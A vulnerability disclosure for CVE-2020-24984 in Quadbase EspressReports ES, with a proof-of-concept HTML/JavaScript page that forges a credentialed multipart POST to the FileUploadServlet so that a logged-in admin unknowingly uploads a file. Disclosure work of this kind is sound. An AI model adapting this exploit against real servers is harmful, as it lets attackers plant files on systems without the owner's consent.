CVE-2020-24984

Quadbase – EspressReports ES – Version 7, Update 9 – Cross Site Request Forgery (CSRF) to File Upload.

The EspressReport ES software is vulnerable to Cross Site Request Forgery (CSRF) whereby an attacker may be able to trick an authenticated admin level user to upload malicious files to the web server.

For the CSRF attack to be successful, the victim must click the malicious link or visit a malicious webpage whilst logged into the vulnerable application. This would cause the victim's browser to issue a POST request to the application. The result of this is a genuine request to the application executed on the user's behalf.

```
<script>
  function submitRequest()
  {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "http:\/\/X.X.X.X:8080\/ERES\/servlet\/FileUploadServlet?action=uploadFile", true);
    xhr.setRequestHeader("Accept", "*\/*");
    xhr.setRequestHeader("Accept-Language", "en-GB,en;q=0.5");
    xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------277439838493580783327872351 87");
    xhr.withCredentials = true;
    var body = "-----------------------------277439838493580783327872351 87\r\n" +
      "Content-Disposition: form-data; name=\"uploadPath\"\r\n" +
      "\r\n" +
      "\r\n" +
      "-----------------------------277439838493580783327872351 87\r\n" +
      "Content-Disposition: form-data; name=\"Filedata\"; filename=\"test.txt\"\r\n" +
      "Content-Type: text/plain\r\n" +
      "\r\n" +
      "test1\n" +
      "\r\n" +
      "-----------------------------277439838493580783327872351 87--\r\n";
    var aBody = new Uint8Array(body.length);
    for (var i = 0; i < aBody.length; i++)
      aBody[i] = body.charCodeAt(i);
    xhr.send(new Blob([aBody]));
  }
</script>
<form action="#">
  <input type="button" value="Submit request" onclick="submitRequest();" />
</form>
```